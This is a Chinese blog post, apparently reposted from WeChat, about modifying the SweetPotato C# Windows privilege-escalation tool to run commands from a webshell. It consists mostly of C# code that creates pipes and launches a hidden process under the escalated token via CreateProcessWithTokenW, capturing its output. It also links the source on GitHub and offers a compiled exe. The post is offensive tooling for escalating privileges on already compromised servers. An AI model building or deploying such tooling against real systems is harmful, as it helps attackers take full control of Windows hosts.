前言
前两天看到了github上有老外发了一个C#版的烂土豆,所以就想改一个能在webshell下执行命令的版本。
请教了@zcgonvh和@RcoIl两位师傅,学习了用管道对进程与进程之间进行通信。感谢两位师傅的耐心指导~
关注微信公众号回复“烂土豆”直接获取编译好的exe文件
管道
引用申明
public struct SECURITY_ATTRIBUTES
{
public Int32 nLength;
public IntPtr lpSecurityDescriptor;
public int bInheritHandle;
}
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool CreatePipe(ref IntPtr hReadPipe, ref IntPtr hWritePipe, ref SECURITY_ATTRIBUTES lpPipeAttributes, Int32 nSize);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool ReadFile(IntPtr hFile, byte[] lpBuffer, int nNumberOfBytesToRead, ref int lpNumberOfBytesRead, IntPtr lpOverlapped/*IntPtr.Zero*/);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
internal static extern Boolean CloseHandle(IntPtr hObject);
创建管道
SECURITY_ATTRIBUTES saAttr = new SECURITY_ATTRIBUTES();
saAttr.nLength = Marshal.SizeOf(typeof(SECURITY_ATTRIBUTES));
saAttr.bInheritHandle = 0x1;
saAttr.lpSecurityDescriptor = IntPtr.Zero;
if(CreatePipe(ref out_read, ref out_write, ref saAttr, 0))
{
Console.WriteLine("[+] CreatePipe success");
}
新创建进程的标准输出连在写管道一端
STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
si.cb = Marshal.SizeOf(si);
si.lpDesktop = @"WinSta0Default";
si.hStdOutput = out_write;
si.hStdError = err_write;
si.dwFlags |= STARTF_USESTDHANDLES;
CreateProcessWithTokenW(potatoAPI.Token, 0, program, finalArgs, CREATE_NO_WINDOW, IntPtr.Zero, null, ref si, out pi);
读取管道
CloseHandle(out_write);
byte[] buf = new byte[BUFSIZE];
int dwRead = 0;
while (ReadFile(out_read, buf, BUFSIZE, ref dwRead, IntPtr.Zero))
{
byte[] outBytes = new byte[dwRead];
Array.Copy(buf, outBytes, dwRead); Console.WriteLine(System.Text.Encoding.Default.GetString(outBytes));
}
CloseHandle(out_read);
截图
源码
https://github.com/uknowsec/SweetPotato
欢迎各位师傅star~
原文始发于微信公众号(零队):SweetPotato webshell下执行命令版
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论